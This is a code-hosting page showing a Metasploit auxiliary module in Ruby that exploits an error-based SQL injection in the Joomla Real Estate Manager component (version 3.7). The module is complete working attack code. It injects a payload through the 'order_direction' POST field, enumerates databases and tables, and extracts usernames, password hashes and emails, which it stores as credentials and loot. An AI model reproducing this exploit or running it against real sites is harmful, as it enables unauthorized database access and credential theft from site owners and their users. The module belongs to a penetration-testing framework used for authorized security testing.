PageRenderTime 51ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 260 lines | 215 code | 40 blank | 5 comment | 14 complexity | 5c65191fcc25e0fe88fd8bc1dad47749 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit4 < Msf::Auxiliary
  7. include Msf::Auxiliary::Report
  8. include Msf::Exploit::Remote::HttpClient
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection',
  12. 'Description' => %q{
  13. This module exploits a SQL injection vulnerability in Joomla Plugin
  14. com_realestatemanager versions 3.7 in order to either enumerate
  15. usernames and password hashes.
  16. },
  17. 'References' =>
  18. [
  19. ['EDB', '38445']
  20. ],
  21. 'Author' =>
  22. [
  23. 'Omer Ramic', # discovery
  24. 'Nixawk', # metasploit module
  25. ],
  26. 'License' => MSF_LICENSE,
  27. 'DisclosureDate' => 'Oct 22 2015'
  28. ))
  29. register_options(
  30. [
  31. OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
  32. ], self.class)
  33. end
  34. def print_good(message='')
  35. super("#{rhost}:#{rport} - #{message}")
  36. end
  37. def print_status(message='')
  38. super("#{rhost}:#{rport} - #{message}")
  39. end
  40. def report_cred(opts)
  41. service_data = {
  42. address: opts[:ip],
  43. port: opts[:port],
  44. service_name: ssl ? 'https' : 'http',
  45. protocol: 'tcp',
  46. workspace_id: myworkspace_id
  47. }
  48. credential_data = {
  49. origin_type: :service,
  50. module_fullname: fullname,
  51. username: opts[:user]
  52. }.merge(service_data)
  53. if opts[:password]
  54. credential_data.merge!(
  55. private_data: opts[:password],
  56. private_type: :nonreplayable_hash,
  57. jtr_format: 'md5'
  58. )
  59. end
  60. login_data = {
  61. core: create_credential(credential_data),
  62. status: opts[:status],
  63. proof: opts[:proof]
  64. }.merge(service_data)
  65. create_credential_login(login_data)
  66. end
  67. def check
  68. flag = Rex::Text.rand_text_alpha(5)
  69. payload = "0x#{flag.unpack('H*')[0]}"
  70. data = sqli(payload)
  71. if data && data.include?(flag)
  72. Msf::Exploit::CheckCode::Vulnerable
  73. else
  74. Msf::Exploit::CheckCode::Safe
  75. end
  76. end
  77. def sqli(query)
  78. lmark = Rex::Text.rand_text_alpha(5)
  79. rmark = Rex::Text.rand_text_alpha(5)
  80. payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
  81. payload << "0x#{lmark.unpack('H*')[0]},"
  82. payload << '%s,'
  83. payload << "0x#{rmark.unpack('H*')[0]},"
  84. payload << 'FLOOR(RAND(0)*2)'
  85. payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
  86. get = {
  87. 'option' => 'com_realestatemanager',
  88. 'task' => 'showCategory',
  89. 'catid' => '50',
  90. 'Itemid' => '132'
  91. }
  92. res = send_request_cgi({
  93. 'uri' => normalize_uri(target_uri.path, 'index.php'),
  94. 'vars_get' => get,
  95. })
  96. if res && res.code == 200
  97. cookie = res.get_cookies
  98. post = {
  99. 'order_field' => 'price',
  100. 'order_direction' => 'asc,' + (payload % query)
  101. }
  102. res = send_request_cgi({
  103. 'uri' => normalize_uri(target_uri.path, 'index.php'),
  104. 'method' => 'POST',
  105. 'cookie' => cookie,
  106. 'vars_get' => get,
  107. 'vars_post' => post
  108. })
  109. # Error based SQL Injection
  110. if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
  111. $1
  112. end
  113. end
  114. end
  115. def query_databases
  116. dbs = []
  117. query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
  118. query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
  119. dbc = sqli(query)
  120. query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
  121. query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
  122. 0.upto(dbc.to_i - 1) do |i|
  123. dbname = sqli(query_fmt % i)
  124. dbs << dbname
  125. vprint_good("Found database name: #{dbname}")
  126. end
  127. %w(performance_schema information_schema mysql).each do |dbname|
  128. dbs.delete(dbname) if dbs.include?(dbname)
  129. end
  130. dbs
  131. end
  132. def query_tables(database)
  133. tbs = []
  134. query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
  135. query << 'FROM INFORMATION_SCHEMA.TABLES '
  136. query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
  137. tbc = sqli(query)
  138. query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
  139. query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
  140. query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
  141. query_fmt << 'LIMIT %d,1)'
  142. vprint_status('tables in database: %s' % database)
  143. 0.upto(tbc.to_i - 1) do |i|
  144. tbname = sqli(query_fmt % i)
  145. vprint_good("Found table #{database}.#{tbname}")
  146. tbs << tbname if tbname =~ /_users$/
  147. end
  148. tbs
  149. end
  150. def query_columns(database, table)
  151. cols = []
  152. query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
  153. colc = sqli(query)
  154. vprint_status("Found Columns: #{colc} from #{database}.#{table}")
  155. valid_cols = [ # joomla_users
  156. 'activation',
  157. 'block',
  158. 'email',
  159. 'id',
  160. 'lastResetTime',
  161. 'lastvisitDate',
  162. 'name',
  163. 'otep',
  164. 'otpKey',
  165. 'params',
  166. 'password',
  167. 'registerDate',
  168. 'requireReset',
  169. 'resetCount',
  170. 'sendEmail',
  171. 'username'
  172. ]
  173. query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
  174. query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
  175. 0.upto(colc.to_i - 1) do |i|
  176. record = {}
  177. valid_cols.each do |col|
  178. l = 1
  179. record[col] = ''
  180. loop do
  181. value = sqli(query_fmt % [col, l, i])
  182. break if value.blank?
  183. record[col] << value
  184. l += 54
  185. end
  186. end
  187. cols << record
  188. unless record['username'].blank?
  189. print_good("Found credential: #{record['username']}:#{record['password']} (Email: #{record['email']})")
  190. report_cred(
  191. ip: rhost,
  192. port: datastore['RPORT'],
  193. user: record['username'].to_s,
  194. password: record['password'].to_s,
  195. status: Metasploit::Model::Login::Status::UNTRIED,
  196. proof: record.to_s
  197. )
  198. end
  199. vprint_status(record.to_s)
  200. end
  201. cols
  202. end
  203. def run
  204. dbs = query_databases
  205. dbs.each do |db|
  206. tables = query_tables(db)
  207. tables.each do |table|
  208. cols = query_columns(db, table)
  209. next if cols.blank?
  210. path = store_loot(
  211. 'joomla.users',
  212. 'text/plain',
  213. datastore['RHOST'],
  214. cols.to_json,
  215. 'joomla.users')
  216. print_good('Saved file to: ' + path)
  217. end
  218. end
  219. end
  220. end